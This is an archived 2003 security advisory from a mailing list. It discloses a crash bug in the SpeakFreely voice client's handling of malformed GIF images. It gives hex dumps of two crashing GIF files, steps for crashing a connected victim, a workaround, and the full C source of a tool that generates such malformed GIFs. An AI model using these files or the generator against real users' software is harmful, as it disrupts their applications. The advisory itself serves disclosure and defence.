[NT] SpeakFreely Malformed GIF Vulnerability

From: SecuriTeam (support_at_securiteam.com)
Date: 09/23/03

  • Next message: SecuriTeam: "[NT] SpeakFreely Spoofed DoS"
    To: list@securiteam.com
    Date: 23 Sep 2003 15:59:49 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      SpeakFreely Malformed GIF Vulnerability
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.fourmilab.ch/speakfree/> SpeakFreely is "a very interesting
    real-time voice application with cryptographic support developed by John
    Walker and now the project will be continued on Sourceforge by a group of
    programmers and fans. The program is multiplatform, opensource and is also
    used as add-on of ICQ".

    A vulnerability in the way SpeakFreely handles GIFs allows remote
    attackers to cause the program to crash.

    DETAILS

    Vulnerable systems:
     * SpeakFreely version 7.6a

    SpeakFreely for Windows has a nice feature called "Show your face" that
    lets users to send an image (bmp and gif) to the others and it is enabled
    by default.

    Unfortunally in the program there is a "forgotten check", so if the
    function GlobalAlloc() fails there are no instruction to check its return
    value.

    The problem happens with GIF files that have a content (only the values
    "Image width" and "Image height" in the header, not the real content) too
    big or equal to zero and so they are unallocable in memory. The crash will
    happen when the program will try to use the pointer returned by the
    unchecked function.

    The following are 2 examples:
    A] 0000.gif

    0000000: 4749 4638 3961 0000 0000 0000 002c 0000 GIF89a.......,..
    0000010: 0000 0000 0000 00 .......
                  | |

    Crash:
    :00416227 8A0439 mov al, byte ptr [ecx+edi] (ecx+edi is an unreacheable
    location)

    B] ffff.gif
    0000000: 4749 4638 3961 0000 0000 0000 002c 0000 GIF89a.......,..
    0000010: 0000 ffff ffff 00 .......
                  | |
    Crash:
    00415CF8 668910 mov word ptr [eax], dx (eax is 0)

    Recreation:
    A] You must create a custom GIF file manually (with a hex editor) or you
    can also use my small tool ("gifbug file.gif" or "gifbug -iw 0 -ih 0
    file.gif"): <http://aluigi.altervista.org/testz/gifbug.zip>
    http://aluigi.altervista.org/testz/gifbug.zip (attached at the end)

    B] Then you must select the malformed GIF from your SpeakFreely client
    (Options -> Show your face -> Browse)

    C] You must connect to the victim (Connection -> New)

    D] And then you need to talk or just to press the left mouse button on the
    dialog box appeared

    E] The victim should be crashed

    (NOTE: you can also wait an incoming connection and passively crashing the
    client)

    Workaround:
    Disable the option "Show faces of other users" from the menu Options ->
    Show your face.

    Tool (Custom GIF Creator):
    /*

    by Auriemma Luigi

    This simple utility creates a tiny GIF files that "seems" a huge GIF
    image 8-)

    Some notes about the program are that it use maximum color depth,
    maximum logical screen size and the user can specify how big must
    be the image in memory.

    Effects of the malformed GIF can be freeze of the application with
    CPU at 100%, memory consumption through the allocation of the bytes
    specified by the user (generally weidth * heigth * color_depth),
    crash of the application with the possibility to execute code and
    many other effects that are specifics for each program that reads
    GIF files (naturally if an application makes the right checks on
    the malformed GIF it will not be vulnerable)

    LINUX & WIN32 VERSION
    */

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>

    #define VER "0.1"
    #define WHMAX 0xffff
    #define CRMAX 0x7

    #pragma pack(1)

    struct header {
      unsigned char signature[3];
      unsigned char version[3];
    };

    struct logical_screen {
      unsigned short width;
      unsigned short height;
      unsigned char gctf:1;
      unsigned char color_res:3;
      unsigned char sort:1;
      unsigned char sgct:3;
      unsigned char back_color_index;
      unsigned char pixel_ratio;
    };

    struct image {
      unsigned char separator;
      unsigned short left_pos;
      unsigned short top_pos;
      unsigned short width;
      unsigned short height;
      unsigned char lctf:1;
      unsigned char interlace:1;
      unsigned char sort:1;
      unsigned char reserved:2;
      unsigned char slct:3;
    };

    struct gif_head {
      struct header header;
      struct logical_screen logical_screen;
      struct image image;
    } gif_head;

    void std_err(void);

    int main(int argc, char *argv[]) {
      FILE *fd;
      unsigned short sw = WHMAX,
      sh = WHMAX,
      cr = CRMAX,
      iw = WHMAX,
      ih = WHMAX,
      i;

      
      setbuf(stdout, NULL);

      fputs("\n"
      "Custom GIF creator "VER"\n"
      "by Luigi Auriemma\n"
      "e-mail: aluigi@altervista.org\n"
      "web: http://aluigi.altervista.org\n"
      "\n", stdout);

      if(argc < 2) {
      printf("\n"
      "Usage: %s [options] <GIF_output>\n"
      "\nOptions:\n"
      "-sw NUM Screen width size (default, MAX: %d)\n"
      "-sh NUM Screen height size (default, MAX: %d)\n"
      "-cr NUM Color resolution (default, MAX: %d)\n"
      "-iw NUM Image width size (default, MAX: %d)\n"
      "-ih NUM Image height size (default, MAX: %d)\n"
      "\n"
      "NOTE: if the application to test says that cannot allocate memory\n"
      " for the image, simply set a minor Image width and heigth\n"
      "\n", argv[0],
      WHMAX, WHMAX,
      CRMAX,
      WHMAX, WHMAX);
      exit(1);
      }

      argc--;
      for(i = 1; i < argc; i++) {
      if(!memcmp(argv[i], "-sw", 3)) { sw = atoi(argv[++i]); continue; }
      if(!memcmp(argv[i], "-sh", 3)) { sh = atoi(argv[++i]); continue; }
      if(!memcmp(argv[i], "-cr", 3)) { cr = atoi(argv[++i]); continue; }
      if(!memcmp(argv[i], "-iw", 3)) { iw = atoi(argv[++i]); continue; }
      if(!memcmp(argv[i], "-ih", 3)) { ih = atoi(argv[++i]); continue; }
      printf("\nError: Wrong argument (%s)\n", argv[i]);
      exit(1);
      }

      fd = fopen(argv[argc], "wb");
      if(!fd) std_err();

      /* FILL THE STRUCTURE */

      memcpy(gif_head.header.signature, "GIF", 3);
      memcpy(gif_head.header.version, "89a", 3);
    // memcpy(gif_head.header.version, "87a", 3); /* 89a or 87a are the same
    */

      gif_head.logical_screen.width = sw; /* maximum */
      gif_head.logical_screen.height = sh; /* maximum */
      gif_head.logical_screen.gctf = 0;
      gif_head.logical_screen.color_res = cr; /* 3 bits */
      gif_head.logical_screen.sort = 0;
      gif_head.logical_screen.sgct = 0;
      gif_head.logical_screen.back_color_index = 0;
      gif_head.logical_screen.pixel_ratio = 0;

      gif_head.image.separator = 0x2c; /* descriptor */
      gif_head.image.left_pos = 0;
      gif_head.image.top_pos = 0;
      gif_head.image.width = iw; /* bug */
      gif_head.image.height = ih; /* bug */
      gif_head.image.lctf = 0;
      gif_head.image.interlace = 0;
      gif_head.image.sort = 0;
      gif_head.image.reserved = 0;
      gif_head.image.slct = 0;

      
      fwrite(&gif_head, sizeof(struct gif_head), 1, fd);
      fclose(fd);

      printf("\nThe file %s has been created\n\n", argv[argc]);

      return(0);
    }

    void std_err(void) {
      perror("\nError");
      exit(1);
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:aluigi@altervista.org> Luigi
    Auriemma.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[NT] SpeakFreely Spoofed DoS"

    Relevant Pages